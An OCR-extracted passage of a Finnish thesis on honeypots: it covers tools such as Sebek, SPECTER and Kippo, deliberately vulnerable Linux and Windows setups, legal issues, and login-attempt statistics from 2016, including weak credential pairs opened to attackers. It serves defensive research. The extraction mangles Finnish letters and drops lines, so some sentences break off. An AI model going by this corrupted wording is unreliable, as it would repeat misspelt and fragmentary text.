erinimisind ja ilman suoritusoikeuksia, joten ne ovat jalkikédteen analysoitavissa.



35

Murtautuja nidkee namaé tiedostot, kuin ne olisivat tallennettuina tiedostojdrjes-

telmé&ddn, mutta ei kuitenkaan péadse niihin kasiksi lataamisen jdlkeen. (Tammi-
nen, 2016).

5.4.5 Sebek

Sebek on osa Honeywall-ohjelmistoa jota kehittdid The Honeynet Project -
organisaatio. Se on suunniteltu honeynet-ympdristdihin, joihin on toteutettu
useita hunajapurkkijdrjestelmid. Sebek-ohjelmistolla kerdtddn talteen hyokkaa-
jan kaikki toiminta, kuten ndppédinpainallukset ja tulosteet, syotetyt komennot,
tiedostonsiirrot ja salattu tietoliikenne. (Sharma & Sran, 2011).

Sebek perustuu asiakas-palvelinarkkitehtuuriin, eli dataa kerddva ohjel-
misto (Sebek Client) asennetaan Linux-jdrjestelmissd ytimen (kernel) moduulik-
si ja Windows-jdrjestelmissad laiteajuriksi. Se poikkeaa useista muista korkean
interaktion hunajapurkkiohjelmistoista siten, ettei se ole palveluna ndyttaytyva
itsendinen ohjelma, vaan se toimii kayttojdrjestelmatasolla kerdten jarjestelmas-
sd liikkkuvaa dataa. Nama asiakasohjelmistot vélittdavat datan kéasiteltaviaksi Se-
bek Server -palvelinohjelmistolle. Sebek Client sekd sen lihettdmaét ja vastaanot-
tamat paketit ovat kayttgjdlle tdysin lapindkyvid. (Sharma & Sran, 2011).

5.4.6 SPECTER

SPECTER on kaupallinen hunajapurkkiohjelmisto, jonka kehitystyo on alkanut
jo vuonna 2000. SPECTER on korkean interaktion hunajapurkki, joka tarjoaa
murtautujalle ndkymén aidon oloiseen tietokoneeseen. Murtautujan kaytetta-
vissd on toteutukset tavallisista verkkopalveluista, kuten SMTP, FTP, POP3,
HTTP ja Telnet, kuitenkin silld erotuksella, ettd kyseiset palvelut kirjaavat lo-
keihin kaiken murtautujan jdrjestelmdssad suorittamat toimet. (NETSEC, 2016).

5.5 Yhteenveto

neynet-verkkoa. Perehdyttiin myos Honeywall-ohjelmistokokonaisuuteen ja
siihen sisédllytettyihin ohjelmistoihin. Hunajapurkki voi olla yksittdinen ohjelma
tai se voi koostua useista ohjelmistoista, jotka voivat olla suunnattuja IDS- tai
IPS-kdyttoon. Joissakin tapauksissa hunajapurkki voidaan toteuttaa muokkaa-
malla kayttojarjestelmdd tekemaélld muutoksia alkuperdisiin ohjelmistoihin siten,
ettd niiden toiminta saadaan ndyttimaan uskottavalta, mutta toiminta poikkeaa
ohjelman alkuperdisestd toiminnasta. Seuraavassa luvussa kerrotaan esimerk-
keja hunajapurkkitoteutuksista sekéd pohditaan hunajapurkin laillisuutta.
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6 HUNAJAPURKIN TOTEUTTAMINEN

Téssd luvussa tutustutaan hunajapurkin julkaisutapoihin, eli millaisia verkko-
palveluita eri kdyttotarkoituksia ajatellen hunajapurkissa tarjottaisiin. Vertail-
laan toteutuksia Windows- ja Linux-alustoilla. Lisdksi kdydddn ldvitse hunaja-
purkkeihin liittyvid laillisuus- ja eettisyysndakokulmia.

6.1 Hunajapurkit Linux- ja Windows-alustoilla

Kuten aiemmissa kappaleissa mainittiin, hunajapurkki voidaan toteuttaa mo-
nella tavalla - matalan, keskitason tai korkean vuorovaikutuksen jdrjestelméand,
tutkimuskayttoon tai tuotantokdyttoon suunnattuna, minké lisdksi se voidaan
toteuttaa useaan alustaymparistoon ja useilla erilaisilla ohjelmistoilla. Korkean
vuorovaikutuksen hunajapurkki voidaan toteuttaa esimerkiksi Linux- tai Win-
dows-ympaéristoon. Kummallakin on omat kdyttotarkoituksensa ja niihin mur-
tautuminen tehdaén eri tavoin. Lisdksi, tiettyyn suoritinarkkitehtuuriin ja kdyt-
tojarjestelmddn kadnnetyt ohjelmat toimivat vain kyseiselld alustalla, eli huna-
japurkki-alustaksi on valittava tarkoituksenmukainen laitteisto ja kayttojdrjes-
telma.

Jain ja Singh (2011) ovat artikkelissaan toteuttaneet yleisen sekd Linux- et-
ta Windows-alustalla toimivan hunajapurkin. Taulukoissa 3 ja 4 esitellddn
kummankin alustan pdille toteutettuja verkkopalveluita sekd alustakohtaista
konfigurointia.

Artikkelissa Jain ja Singh (2011) toteuttivat kaksi teknisesti mielenkiintois-
ta hunajapurkkijarjestelméd, mutta valitettavasti tutkimusjakson aikana ei saatu
kerattyd yhtddn tutkimusaineistoa. Kokoonpano oli sellainen, ettd mahdollisesti
ajan kanssa tutkimusaineistoa olisi saatu kerédttyd. Kaksi onnistunutta hunaja-
purkkitutkimusta oli esitelty lyhyesti kappaleessa 2.5.
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TAULUKKO 3 Linux-hunajapurkki, alustana Red Hat Linux

Jarjestelmin osa

Selite

Asennettu palvelut: HTTP, FTP,
SSH, sdhkoposti, tietokannat

Syslogin toimintaa muutettu

Komentotulkin toimintaa muutettu

Kayttajatilit

Yleisimpid UNIX/Linux -
jdrjestelmissd ajettavia palveluita.
Téassd ympaéristossd kaytettiin palve-
luina Apache / Apache-Tomcat -
www-palvelin, MySQL-
tietokantapalvelin sekd sendmail-
sdahkopostipalvelin. Muut palvelut
olivat oletuksena Red Hat -
ympdristoon asennettuja palveluita.
Kaikki ohjelmistot oli konfiguroitu
oletusasetuksille.

Syslogin ldhdekoodiin tehtiin muu-
toksia ja se kddnnettiin uudelleen -
madritettiin syslog lukemaan konfi-
guraatiotiedosto eri sijainnista ja
erinimisestd tiedostosta. Lisdksi maa-
ritettiin syslog ldhettamdan kaikki
lokidata erilliselle syslog-
palvelimelle. Kadntdmisen jdlkeen
bindarit nimettiin kokonaan uudel-
leen huomaamattomiksi (esim. lpd).
Viimeiseksi alkuperdinen syslog ja-
tettiin paikoilleen muuttamattomana.
Tami toteutettiin sen vuoksi, ettd
murtautujien tiedetddn yleensd pyr-
kivan peittdmddn jalkensd poistamal-
la syslogin toiminnasta tai ainakin
poistamalla kaikki muodostuneet
lokitiedot.

Oletuskomentotulkkia (bash) muo-
kattiin muuttamalla sen ldhdekoodia
siten, ettd se lihettdd kaikki komen-
not ja nappdinpainallukset erilliselle
lokipalvelimelle. Lisdksi muutettiin
bash:n toimintaa siten, etti se suorit-
taa joka komennon yhteydessa skrip-
tin, joka kaappaa sovelluksen anta-
man palautteen (output) ja ldhettda
sen lokipalvelimelle. Ndin sekd ko-
mennot ettd niiden seurauksena syn-
tyneet tulosteet saatiin talteen.
Ympiristd toteutettiin ndyttdmédn
siltd, ettd se on jadnyt vahalle kaytol-
le ja valvomattomaksi. Tehtiin muu-
tama kayttdjatunnus, joiden salasano-
jen vahvuus vaihteli - ajatuksena
saada hyokkddja murtamaan salasa-
noja.

(jatkuu)



Taulukko 3 (jatkuu)

Eheyden tarkistus (integrity
checking)
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Kun kaikki tarvittavat toimenpiteet
oli  tehty, tehtiin ~ Tripwire-
ohjelmiston avulla tietokanta jarjes-
telman kaikkien binddrien sekd kon-
figuraatiotiedostojen md5-
tarkistussummista. Tietokanta tal-
lennettiin erilliselle levylle ja Tripwi-
re poistettiin.

TAULUKKO 4 Windows-hunajapurkki, alustana Windows 2000 Professional

Jarjestelmdn osa Selite
Palvelut: HTTP, FIP, SMTP, tieto- Asennettiin IIS (Internet Information
kannat Services) oletuasetuksin, sisdltden

Verkkojaot

Tapahtumienvalvonta

HTTP-, FTP- ja SMTP-palvelut. Kon-
figuraatiota ei muutettu, ainoastaan
lisdttiin muutama hakemisto www-
ja ftp-palveluiden padhakemistoihin.
Lisaksi asennettiin MySQL-
tietokantapalvelin  sekd  Apache-
Tomcat porttiin  8080. Windowsin
oletuspalvelut, kuten Netlogon, Net-
bios ja RPC (remote procedure call)
jatettiin  kdyntiin  oletusasetuksin.
Niissd on tunnettuja haavoittuvuuk-
sia, joten palvelut olivat tarkoituksel-
la aktiivisina.

Verkkojaot olivat aktiivisina, eli ha-
kemistoihin ja tulostimiin oli mah-
dollista kytkeytya verkon yli. Tehtiin
muutamia verkkojakoja siten, ettd
kaikilla kayttdjilla (ryhma Everyone)
on mahdollisuus lukea ja kirjoittaa
muutamiin hakemistoihin.

Kaikki tapahtumakirjaukset olivat
aktiivisina, minki lisdksi tehtiin Perl-
skripti, joka ldhetti tapahtumalokit
ajastetusti erilliselle lokipalvelimelle.
Myoskin PHP:lla tehtiin skriptejd,
jotka mahdollistivat lokien lukemi-
sen selaimella toiselta tietokoneelta
kasin.
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6.2 Hunajapurkin julkaisu
Scottberg, Yurick ja Doss (2002) luokittelevat seuraavia hunajapurkin tapoja
taulukon 5 mukaisesti. Julkaisutapa tarkoittaa tdssd hunajapurkkijarjestelman

tyyppid, eli sen ominaisuuksia ja kdyttokohdetta, joista jokainen vaatii erilaista
yllapitoa. (Scottberg, Yurick & Doss, 2002)

TAULUKKO 5 Hunajapurkin julkaisustavat

Julkaisutapa

Selite

”Uhrilammas” (”Sacrificial Lamb”)

“Tuotantojédrjestelmahuijaus” (”De-
ception Ports on Production Sys-
tems”)

“"Houkutin” (”Proximity Decoys”)

”Ohjauskilpi”
Shield”)

("Redirection

“Miinakenttd” ("Minefield”)

”Hakkerieldintarha” ("Hacker Zoo”)

Eristetty jdrjestelmd josta ei ole paa-
syd tuotantojarjestelmiin
Keinotekoiset “korvaavat” palvelut,
kuten www, postipalvelut, nimipal-
velut, ftp

Hunajapurkkihoukutin tuotantoym-
périston vilittoméassd laheisyydessd,
kdytanndssd samassa aliverkossa.
Reititetddn liikenne ulkoverkosta
hunajapurkkiin ja annetaan vaiku-
telma, ettd ollaan tuotantoympéris-
tossd.

Julkaistaan hunajapurkki “etulin-
jaan” eli verkon reunalle vastaanot-
tamaan kaikki hyokkdysyritykset
suoraan ulkoverkosta.

Aliverkkoon pystytetty useita huna-
japurkkieja, joissa on kaytossa erilai-
sia alustoja, palveluja, haavoittu-
vuuksia ja konfiguraatioita.

Taulukossa mainitut nimitykset ovat kédytannossa leikkimielisid nimityk-
sid eri hunajapurkkityypeille. Tdssad tutkimuksessa toteutettavaa hunajapurkkia
voidaan pitdd taman luokittelun perusteella uhrilammas-tyyppisend, koska jar-
jestelmd on tdysin irrallaan muista jarjestelmistd, eikd siind ajeta (eikd yritetd
ndyttdd, ettd ajettaisiin), muita verkkopalveluita.

6.3 Keskusteluja hunajapurkin hyodyllisyydesta ja laillisuudesta

Hunajapurkki on tehokas véline paitsi tietojdrjestelmien suojaukseen, myos
murtautujien toimista oppimiseen. Jarjestelmédn kaytto heradttdd kuitenkin ky-
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symyksid sen kadyton eettisyydestd ja laillisuudesta - sen avulla kuitenkin voi-
daan kerétd yksityistd tietoa, jota voidaan myos kayttaad vaarin.

Useat hunajapurkkeja késittelevit artikkelit ottavat kantaa tdhdn ongel-
maan, mutta lihes aina mainitaan, ettei tihin ole selkedd lainsddadantod, eika
oikeuden ennakkotapauksia, joten aina kehotetaan selvittaimddn asiaa tarkem-
min muualta. On kuitenkin selvad, ettd asiaa on tulkittava tapauskohtaisesti
kaytettdavan hunajapurkkijarjestelmédn luonteen mukaan. Spitzner mainitsee
artikkelissaan, ettd vasta hunajapurkkien yleistyttyd on alettu tiedustelemaan,
millaisia lakiseikkoja niiden kanssa voi tulla vastaan. Tama on tyypillistd kaik-
kien uusien teknologioiden yhteydessa. (Spitzner, 2003).

Esiin voidaan nostaa kolme asiayhteyttd, joiden ympérilld asiaa voidaan
tarkastella. Namd ovat ansoittaminen (entrapment), yksityisyys (privacy) ja
edesvastuu (liability). (Spitzner, 2003).

6.3.1 Ansoittaminen

Hunajapurkki ei ldhtokohtaisesti ole ansa. Ketddn ei houkutella tai pakoteta
(hunajapurkki-nimestd huolimatta) ottamaan luvattomasti yhteyttd organisaa-
tion tietojdrjestelmédn. Kyseessd ei siis ole yllyttiminen rikokseen tai haitalli-
seen toimintaan. Jos hakkeri murtautuu tietojdrjestelmddn, hian tekee sen aina
omasta tahdostaan tai omien intressiensd pohjalta. (Spitzner, 2003).

Hunajapurkin ylldpitdjan on kuitenkin noudatettava varovaisuutta, eika
hyokkéadjaa kohtaan saa kohdistaa vastatoimia. Asiaa monimutkaistaa sekin,
ettd hyokkadykseen kaytetty tietokone tai verkko voi olla kolmannen osapuolen
omistuksessa, jolla ei ole asiasta mitddn tietoa. Bishop ja Brincke (2006) korosta-
vat, ettd jarkevintd olisi ilmoittaa asiasta kyseisen verkon ylldpitdjan, tai ope-
raattorin, abuse-sdhkopostiosoitteeseen. (Bishop & Brincke, 2006).

6.3.2 Yksityisyys

Yksityisyys on hieman monimutkaisempi kokonaisuus, koska lainsdddanto
(Spitzner (2003) hakee esimerkkejda USA:n lainsddddannostd) sddtelee yksityisen
tiedon kerdamistd. Vaikka murtautuja toimii laittomasti, hdnelld on myos oi-
keus yksityisyydensuojaan, minkd pohjalta jarjestelmadn omistajallakin on vain
rajalliset oikeudet kerdtd dataa hyokkadjastd. Yksityisid tietoja ovat mm. kadytta-
viestit, online-keskustelut) ulkomaailmaan. (Spitzner, 2003).

Tdhdn on olemassa my6s huojennuksia (lainsdddéannossd Service Provider
Protection), joiden tehtdvdnd on mahdollistaa palvelun toiminta ja turvallisuus
kerdamalld dataa kayttdjistddan. Tapauksissa, jossa hunajapurkkijdrjestelmat
suojaavat organisaation muita tietojdrjestelmid, kuuluvat ndiden huojennusten
(Spitzner, 2003).

Yksi tdarked seikka yksityisen tiedon luokittelussa on kerittdvan datan
tyyppi. Dataa voidaan luokitella esimerkiksi sisiltodataksi (content data) tai siir-
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todataksi (transactional data). Sisédltodatan analysointi on luonnollisesti tiukem-
min sdddeltyd kuin siirtodatan, koska siirtodata pitdd sisdllddn pddasiassa lait-
teiden vélistda kommunikointia esimerkiksi yhteyksien muodostamisiin. (Spitz-
ner, 2003).

Service Provider Protection antaa hieman vapauksia datan kerddamiseen ja
analysointiin, mutta sen lisdksi on huomioitava suostumus (consent). Téll4 tar-
koitetaan kayttdjan suostumusta datan kerdamiseen, eli kdyttdjan (tdassd tapauk-
sessa hyokkadjan) tulisi olla tietoinen siitd, ettd hdnen toimintaansa mahdolli-
sesti analysoidaan, ja kdytdnnossd hdn suostuisi tdhdn ohittamalla tiedon ke-
rdamisestd kertovan ilmoituksen. Tdllainen ilmoitus (banneri) voitaisiin Spitz-
nerin mukaan laittaa esimerkiksi kirjautumisen yhteyteen, jossa usein muuten-
kin voidaan esittdd erilaisia tervetulotoivotus- ja kirjautumisviestejd. (Spitzner,
2003).

6.3.3 Edesvastuu

telmd vahingoittaa muita - jos sitd esimerkiksi kdytetddn osana verkkohyok-
kdystd - on hunajapurkin ylldpitdja edesvastuussa. On otettava huomioon, etta
myo6s hunajapurkkijarjestelmissd voi olla haavoittuvuuksia, jotka vaarantavat
sen turvallisen ja luotettavan toiminnan suojaus- tai tutkimuskdytossd. Varsin-
kin korkean vuorovaikutuksen hunajapurkkijdrjestelmét ovat alttiita tallaisille
riskeille. (Spitzner, 2003).

6.4 Yhteenveto

Luvussa kdytiin ldavitse tyypillistd hunajapurkkiympaéristod sekda Windows- ettd
Linux-alustoilla. Tyypillisesti molempia alustoja kdytetddn palvelinkdytossa
naisuudet ovat monilta osin yhteneviad. Linux-ympériston ehdoton vahvuus on
sen tdydellinen muokattavuus - jokaisen ohjelmiston ldhdekoodit on saatavilla,
muokattavissa ja kddnnettdvissa uudelleen kayttotarkoitukseen soveltuviksi.

Lisdksi tutkittiin laillisuusndkokulmia, jotka rajoittavat jonkin verran hu-
najapurkin kdyttod, vaikka kyseessd onkin tietojdrjestelmddn murtautuminen ja
luvaton kaytto.
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7 HUNAJAPURKIN KAYTTOONOTTO JA TUTKI-
MUSAINEISTON KERAAMINEN

Tdssa kappaleessa kerrotaan tutkimukseen valitun Kippo-
hunajapurkkijarjestelmén kayttoonoton vaiheet ja jarjestelman tekniset ominai-
kantaominaisuudet otettiin kdyttoon lokidatan analysoinnin helpottamiseksi.
Asennusvaiheet kdydddn ldvitse siten, ettd niitd voidaan kdyttdd asennusohjee-
na toisen Kippo-jdrjestelman perustamisessa.

7.1 Hunajapurkin kidytt6onotto

Tutkimuksessa toteutettiin oma hunajapurkki kdyttden suomalaisen Upi Tam-
misen kehittdm&d Kippo-hunajapurkkiohjelmistoa. Tutkimusympériston mah-
dollisti jyvéaskyldldinen Pardco Group Oy, joka antoi kdyttoon hunajapurk-
kiympéristomme vaatimat, suoraan internetiin kytketyt, virtuaalipalvelimet
(VPS). Kippo on toteutettu Python-ohjelmointikielelld ja on sen vuoksi ajettavis-
sa missd tahansa Linux-pohjaisessa ympadristossd. Kipon asennusvaiheet on do-
kumentoitu kattavasti ohjelmiston sivustolla, joka sijaitsee kirjoitushetkellad
osoitteessa https://github.com/desaster/kippo. Kippoa varten on toteutettu
myo6s kolmannen osapuolen ohjelmistoja, joiden avulla Kipon dataa on helppoa
késitelld. Kippoa on esitelty tarkemmin osiossa 6.4.4.

Kuten aiemmassa osiossa todettiin, on edesvastuuta ajatellen huomioitava,
ettei hunajapurkki aiheuta vaaraa muille tietojarjestelmille esimerkiksi osallis-
tumalla hajautettuihin palvelunestohyokkéayksiin. Kippo on toteutettu siten,
ettei jdrjestelmddn ladattujen haittaohjelmien suorittaminen ole mahdollista,
joten Kippo on tdssd mielessé turvallinen tyokalu tutkimukseen.
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7.1.1 Kipon kdyttoonoton valmistelu

Kippo pddtettiin asentaa kahteen erilliseen virtuaalipalvelimeen kahden
erillisen IP-osoitteen taakse. Ensimmdinen asennus tehtiin muutamaa pdivaa
aiemmin testausmielessd, koska kokemuksia ympadristostd ei vield ollut. Ei tie-
detty, paljonko jdrjestelmddn olisi odotettavissa murtautumisyrityksid, paljonko
se palvelinta kuormittaisi, ja toimisiko ohjelmisto vakaasti. Samalla padtettiin
kerdtd sanakirjaa ensimmadiseen hunajapurkkiin tehtdvistd murtautumisyrityk-
sistd, jotta osattaisiin padtelld, millaisia kdyttdjatunnus-salasanapareja avattai-
siin toiseen hunajapurkkiin. N&in ollen ensimmadinen hunajapurkki jdi ainoas-
taan kerddmddn murtautumisyrityksid ilman pédsyé jarjestelméaan.

Virtuaalipalvelimet olivat teknisesti identtisid, eli niiden suorittimet, muis-
tin maard, levytila ja kdyttojarjestelmat lisiohjelmistoineen olivat samat. Palve-
limet sijaitsivat yritysverkon DMZ-alueella ja olivat palomuurein eristetty tuo-
tantopalvelimista. Lisdksi palvelimien kaistank&yttod sekd CPU-aikaa rajoitet-
tiin tiukasti, jotta ne eivat hdiritsisi tuotantoymparistod. Palvelimiin valittiin
kayttojarjestelmdksi Debian GNU/Linux 6 ”“squeeze”, joka oli jo hieman van-
hentunut, mutta sen ohjelmistot (paketit) olivat suoraan yhteensopivia Kippo
0.9 -version kanssa. Kippo asetettiin kuuntelemaan tavanomaista SSH-porttia 22
ja oikea SSH-palvelin asetettiin epédstandardiin porttiin.

Taulukossa 6 kuvataan kdytossd olleen virtuaalipalvelimen tekniset omi-
naisuudet.

TAULUKKO 6 Hunajapurkin alustan tekninen toteutus

Kohde Valittu toteutus
Suoritin 1 x Intel Xeon E5450 3 GHz
Keskusmuisti 256 MB
Levytila 16 GB
Kéyttojarjestelma Debian GNU/Linux 6 “squeeze”
Kéayttojarjestelmddn asennetut oh- Python 2.6.6
jelmistot Apache 2.2.16
MySQL 5.5.47
PHP 5.3.3
Hunajapurkkiohjelmisto Kippo 09 (viimeisin muutos
21.10.2015)
Tdydentavit ohjelmistot Kippo-Graph 1.2
Reportico 4.4

7.1.2 Asennus ja konfigurointi

Kipon asentaminen oli helppoa ohjelmiston www-sivuilta 16ytyvien asennusoh-
jeiden avulla, joka loytyy osoitteesta
https:/ / github.com/ desaster/ kippo/wiki/Running-Kippo. Kéaytdnnossa asen-
nus oli hyvin tyypillinen ohjelmistoasennus Linux-ympérist6on, joka eteni seu-
raavasti:
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1. Asennettiin tarvittavat paketit Linux-ympaéristoon: tassa tapaukses-
sa tarvittavat Python-kirjastot.

Luotiin jdrjestelmdan kayttgjatili “Kippo”.

Purettiin Kippo-ohjelmisto Kippo-kdyttdjan kotihakemistoon.
Muodostettiin konfiguraatiotiedosto ohjeiden mukaan.
Kéynnistettiin ohjelmisto.

G N

Liitteessd 1 kuvataan yksityiskohtaiset asennusvaiheet ja konfiguraatiotie-
doston sisélto. Kippo maédritettiin tallentamaan lokitiedot MySQL-tietokantaan,
jonka kayttoonotto on myos kuvattu liitteessd. Tietokannan rakenne on kuvattu
taulukossa 7.

TAULUKKO 7 Kipon tietokannan rakenne

Taulu Kuvaus Kentiit

auth Kirjautumisyritykset yhteyksittdgin ~ id, session, success, username,
password, timestamp

clients SSH-asiakasohjelmat id, version

downloads Hunajapurkkiin ladatut tiedostot id, session, timestamp, url, outfile

input SSH:n yli annetut komennot id, session, timestamp, realm, suc-
cess, input

sensors Kaytetyt hunajapurkit id, ip

sessions Hunajapurkkiin avatut yhteydet id, starttime, endtime, sensor, ip,
termsize, client

ttylog Komentorivilokit videomuodossa id, session, ttylog

(playlog)

7.1.3 Lisdiohjelmistojen asennus

Asennusvaiheessa otettiin kayttoon MySQL-relaatiotietokanta datan helpom-
paa analysointia varten. Toinen vaihtoehto olisi ollut tekstilokien ldpikdyminen,
mutta suuren datamddrdn vuoksi tietokanta oli mielekkddmpi ratkaisu. Teksti-
lokeja voitaisiin analysoida myos esimerkiksi ohjelmoimalla skriptejd, tehtava-
nddn tunnistaa erityyppiset lokirivit ja muodostaa niistd tarvittavat tilastot,
mutta tietokanta mahdollistaa valmiin strukturoidun aineiston ja niistd tehtavat
haut tavallisten SQL-kyselyjen avulla. Lisdksi kdytossd oli tietokantaa suoraan
hyodyntava Kippo-Graph -ohjelmisto, johon oli toteutettu lukuisia tietokanta-
hakuja yleisimpiin kayttotarpeisiin sekd graafinen visualisointi PHP-
grafiikkakirjastoja kdyttden.

Lisdohjelmistoiksi ~ asennettiin ~ Kippo-Graph sekd  Reportico -
raportointisovellus, jolla voitiin tehdd helposti parametroitavia tietokantahaku-
ja ja tulostaa aineisto eri tiedostomuotoihin yksinkertaisesti. Liséksi tietokan-
taympaéristd asennettiin myos erilliseen tytasemaan, josta hakuja voitiin tehda
tietokantatyokaluilla (kuten phpMyAdmin), asentamatta niitd erikseen hunaja-
purkkipalvelimelle
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7.2 Tutkimusdatan kerddminen ja analysointi

Kuten aiemmassa kappaleessa mainittiin, aineistonkeruuta varten asennettiin
kaksi Kippo-hunajapurkkia eri IP-osoitteisiin. Toinen jdrjestelmd kerdsi vain
kirjautumisyrityksid, joten sen avulla kerdtyn sanakirjan avulla avattiin p&dasy
toiseen hunajapurkkiin tietyilld kdyttdjatunnus-salasanapareilla. Tahdn tarkoi-
tukseen valittiin kolme varsin yleistd, mutta ei kuitenkaan kaikista yleisintd,
kayttdjatunnus-salasanaparia, jotta murtautumisten méadrd pysyisi kohtuullise-
na. Toinen hunajapurkki avattiin verkkoon muutama pdivd myohemmin.
Kummankin hunajapurkin konfiguraatio oli identtinen, kayttdjatunnuksia ja
salasanoja lukuunottamatta.

Hunajapurkit kerdsivat aineistoa ajalla 19.2. - 7.4.2016. Tamain jdlkeen ai-
neisto “lukittiin”, eli jarjestelmien tuottamat tietokannat siirrettiin eri koneelle
analysointia varten. Hunajapurkkien tuottama datamddra oli todella yllattava.
Taulukossa 7 on kuvattu datan madrad yleiselld tasolla, seuraavissa alaluvuissa
késitellddan aineistoa tarkemmin. Taulukossa “Kippo 1” kuvaa ensimmadistd hu-
najapurkkia, jonka avulla tutkittiin ainoastaan murtautumisyritysten lukumaa-
myochemmin asennettu hunajapurkki, johon pddsy oli mahdollinen kolmella
yleiselld kdyttdjatunnus-salasanaparilla.

7.3 Yhteenveto

Téssd luvussa kédytiin lapi Kipon asennus ja aineiston kerddmisen vaiheet. Seu-
raavassa luvussa kdydaan lapi tulokset ja niiden perusteella tehtdvit johtopaa-
tokset.
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8 TULOKSET JA JOHTOPAATOKSET

Téssd luvussa tulkitaan tutkimuksenjakson aikana keritty aineisto ja tehddan
sen pohjalta padtelmida hyokkadyksen toteutuksista ja murtautujien tavoitteista.
Molemmat hunajapurkit kerdsivdt suuren madrdan mielenkiintoista aineistoa,
jonka perusteella voitiin pddtelld ympdri maailmaa tapahtuvien verkkohyok-
kdysten mddran olevan todella suurta. Murtautumisyritykset voivat onnistues-
saan johtaa verkkoon liitettyjen laitteiden saastumiseen.

8.1 Murtautumisyritysten maarat

Hunajapurkit kerdsivit tutkimusjakson aikana, 19.2. - 7.4.2016 (49 pédivéad), val-
tavasti liikennettd ja murtautumisyrityksid, jotka on eritelty taulukossa 8. Yh-
teensd koneisiin kertyi 406 467 kirjautumisyritystd, joka vaikuttaa todella suu-
relta madraltd, kun ottaa huomioon molempien hunajapurkkien olevan vain
satunnaisia tietokoneita julkisen IP-osoitteen péddssd. Kyseisiin osoitteisiin ei
ohjattu liikennettd mistddn verkko-osoitteesta. Taulukossa 8 esitelldan luku-
médrdiset tilastot kirjautumisyrityksistd ja verkkotoiminnasta. Kippo 1 -koneen
osalta ei raportoida onnistuneita kirjautumisia eikd tiedostojen latauksia, koska
konetta kaytettiin vain kerddméddn kirjautumisyrityksid ja kdytossda olleita
hyokkéyssanakirjoja.

Erittelen useissa kohdissa molempien hunajapurkkien tulokset sen sijaan,
ettd kasittelisin aineistoa yhtend kokonaisuutena. Teknisesti aineistot ovat yh-
disteltdvissd, mutta havaitut tulokset poikkeavat keskenddn merkittavasti eri
hunajapurkkien vaélilla. Tdma voi johtua siitd, ettd onnistunut paasy Kippo 2 -
hunajapurkkiin muutti hyokkadjien kdyttdytymistd seuraavissa murtautumis-
yrityksissa.
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TAULUKKO 8 Tutkimusaineisto numeroina

Suure Kippo 1 Kippo 2
Kirjautumisyrityksia 358 093 48 374
Yhteyksid (sessions) 123 051 41 031
Yksittdisia [P-osoitteita 614 592
Kayttdjatunnus-salasanapareja 73 078 23921
Onnistuneita kirjautumisia - 1244 (6,9 %)
Tiedostojen latauksia - 129

Kuvioissa 6 ja 7 esitellddn kirjautumisyritysten lukumadardt aikasarjoina
molemmissa hunajapurkeissa. Kippo 1:n keskimddrdinen murtautumisyritysten
maédrd oli 7 308 kpl ja Kippo 2:n vastaava 1 052 kpl.
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Kuvio 6 Murtautumisyritysten lukuméara Kippo 1 ~hunajapurkissa
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Murtautumisyrityksia / Kippo 2
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Kuvio 7 Murtautumisyritysten (sininen) ja onnistuneiden kirjautumisten lukumaara (pu-
nainen) Kippo 2 ~hunajapurkissa

Aggressiivisten, automatisoitujen murtautumisyritysten maara korostui
erityisesti Kippo 1 -hunajapurkissa (ks. taulukko 9), jossa kaksi yksittdista IP-
osoitetta (Hyokkaddjd 1 ja Hyokkddjd 2) muodostivat yhteensd 33 444 kpl, 27,2 %
avatuista yhteyksistd ja 99143 kpl, 27,7 % kaikista kayttdjatunnus-
salasanayrityksistd. Kippo 2 -hunajapurkissa vastaavaa ilmiotd ei ollut, vaan
kyseiset hyokkadjat olivat ottaneet Kippo 1:n erityisesti kohteekseen. Hyokkadja
1 hyokkasi kahdeksana perdkkdisend pdivand avaten keskiméddrin 2 595 yhteyt-
td pdivan aikana. Vastaavasti Hyokkadja 2 hyokkasi 21 perdkkdisend pdivand
keskimddrdisten avattujen yhteyksien lukumaééran ollen 604 kappaletta.

TAULUKKO 9 Aggressiivisimmat hyokkagjat Kippo 1 -hunajapurkissa

IP-osoite Yhteyksid Tunnus- Yksittdisida tun-
salasanapareja nus-
salasanapareja
Hyokkagja 1 20767 (16,9 %) 61 509 (17,2 %) 33 063
Hyokkagja 2 12 677 (10,3 %) 37 634 (10,5 %) 15196

8.2 Liikenteen lihteet

Jokaiseen hunajapurkkiin tallentuneeseen IP-osoitteeseen liittyy paikkatieto,
jonka selvittdmiseen kaytettiin geoPlugin-palvelun (www.geoplugin.com)
avointa rajapintaa. Tamén avulla paikkatieto haettiin jokaisesta IP-osoitteesta.
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Tieto ei ole kovin tarkka, vaan antaa summittaisen tiedon IP-osoitteen rekiste-
roijan kotimaasta ja sijainnista.

Liikenteen ldhteitd voidaan mitata monin tavoin. Yksittdisid IP-osoitteita
kerattiin molempien hunajapurkkien avulla (Kippo 1 ja Kippo 2) yhteensa 756
kpl, joiden paikkatietojen perusteella saatiin muodostettua kuvion 8 mukainen
jakauma. Yksittdisten IP-osoitteiden maédrallda mitattuna Kiina ja Yhdysvallat
pitdvat sisdlldan suuren osan hyokkdysten lahteistd, 42,2 %, kaikkien muiden
maiden 65 kpl, muodostaessa loput 57,8 %. Liitteessd 2 on tarkka listaus kaik-
kien maiden osuuksista liikenteen ldhteista.

Kuvio 9 havainnollistaa, miten hyokkéadjien IP-osoitteet jakautuvat mait-
tain. Eniten yksittdisid hyokkéayksiin osallistuneita IP-osoitteita oli Kiinassa, yh-
teensd 161 kpl, Yhdysvalloissa vastaavasti 158 kpl. Muiden maiden osuus oli
huomattavasti pienempi.

SSH-yhteyksid hunajapurkkeihin avattiin (ks. kuvio 10) yhteensa 164 082
kpl. Kiinan ja Yhdysvaltojen osuus néistdkin on merkittdva, yhteensad 66,5 %.
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IP-osoitteet maittain

Others; 199; 26 %
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Korea, Republic of; ~
22;3%

Netherlands; 25; 3
% France; 25;3 %

Russian
Federation; Germany; 30; 4 %
30;4 % Ukraine; 34; 5%

Vietnam; 54; 7 %

Yhteyksien lukumaara
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Others; 13468; 8 %

Korea, Republic
of; 10802; 7 %

Kuvio 10 Avattujen yhteyksien jakautuminen maittain

Kippo 1 -hunajapurkin kerddmien kayttdjatunnus-salasanaparien avulla
pdddyttiin avaamaan kolme kayttdjatunnus-salasanaparia, joilla mahdollistet-
tiin kirjautuminen Kippo 2 -hunajapurkkiin. Kayttdjatunnus-salasanapareiksi
valittiin seuraavat (muodossa ”kédyttdjatunnus:salasana”):

e piraspberry
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e ro0t:123456
e root:wubao

Ensimmdiseksi mainittu “piiraspberry” on yleinen Raspberry Pi -
